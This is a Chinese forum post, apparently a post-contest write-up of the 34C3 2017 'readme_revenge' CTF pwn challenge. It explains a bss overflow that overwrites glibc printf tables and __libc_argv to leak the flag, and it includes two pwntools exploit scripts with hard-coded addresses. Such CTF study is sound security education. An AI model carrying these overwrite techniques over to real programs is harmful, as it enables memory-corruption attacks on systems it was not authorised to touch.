-
-
[分享]readme_revenge - 34C3 2017 CTF
-
2017-12-31 15:06 5300
-
比赛时间没有做出来, 只能赛后看大师傅们的 WP学习一波
Analysis
$ file readme_revenge readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped
main函数如下:
name
在bss
段的0x6B73E0
地址处. 程序是静态链接的, 所以我们可以一直向后溢出, 覆写掉后面的libc的指针, 从而尝试控制执行流.
Control EIP
尝试输入很大的字符串, 程序会出错
python -c "print 'a'*0x700" | ./readme_revenge
程序断在在0x45ad64
处出了错, 在IDA
里可看到这个错误是因为内存非法访问导致的, __printf_modifier_table
已经被我们溢出为了0x6161616161616161
, 在下方的cmp
处比较时, 因为该内存地址不可访问导致了错误, 我们可以通过更改__printf_modifier_table
的值来绕过这个错误.
比较有趣的点是这段代码后不远处的一段代码, 可以看到这里有一个call rax
, 而rax的来自于以__printf_arginfo_table
为基址, 加上一个偏移后的地址中取出的一个值, 而__printf_modifier_table
、__printf_function_table
和printf_arginfo_table
都处于我们可控的位置, 所以只要精心调整我们的输入就可能有机会劫持控制流(事实证明确实可以)
from pwn import * DEBUG = 1 if DEBUG: p = process('./readme_revenge') else: p = remote('', ) name = 0x6B73E0 def pwn(): data = p64(0xdeadbeef) data = data.ljust(0x650, 'a') + p64(0) data = data.ljust(0x6c8,'a') + p64(name-0x73*8) p.sendline(data) p.interactive() if __name__ == '__main__': pwn()
Get flag
比赛时间只做到了这里, 和队友都以为是要劫持栈到可控位置, 然后ROP, 然而最后也没有成功, 看WP才知道原来flag已经在程序中了, 只需要想办法打印出来即可, 当时还真没看到:)
$ strings readme_revenge | grep 34C3 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
我们现在已经可以控制EIP了, 此时我们可以调用__fortify_fail
函数, 这个函数会打印当前程序的名称(__libc_argv
的第一个元素). 所以只要使__libc_argv
的第一个元素指向flag
的地址就可以打印出flag
exploit如下:
from pwn import * DEBUG = 1 if DEBUG: p = process('./readme_revenge') else: p = remote('', ) name = 0x6B73E0 flag_addr = 0x6B4040 stack_chk_fail = 0x4359BB def pwn(): data = p64(stack_chk_fail) + p64(flag_addr) data = data.ljust(0x5a0, 'a') + p64(name+0x8)#_libc_argv data = data.ljust(0x650, 'a') + p64(0) data = data.ljust(0x6c8,'a') + p64(name-0x73*8) p.sendline(data) p.interactive() if __name__ == '__main__': pwn()
看了师傅的文章发现自己文章写的太粗糙了,有很多细节没有写清楚,以后会多加注意,多谢师傅的提醒。附上师傅文章的链接:[原创]readme-revenge details
Reference
[1] readme_revenge - 34C3 2017 CTF
[2] Pwning (sometimes) with style
[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课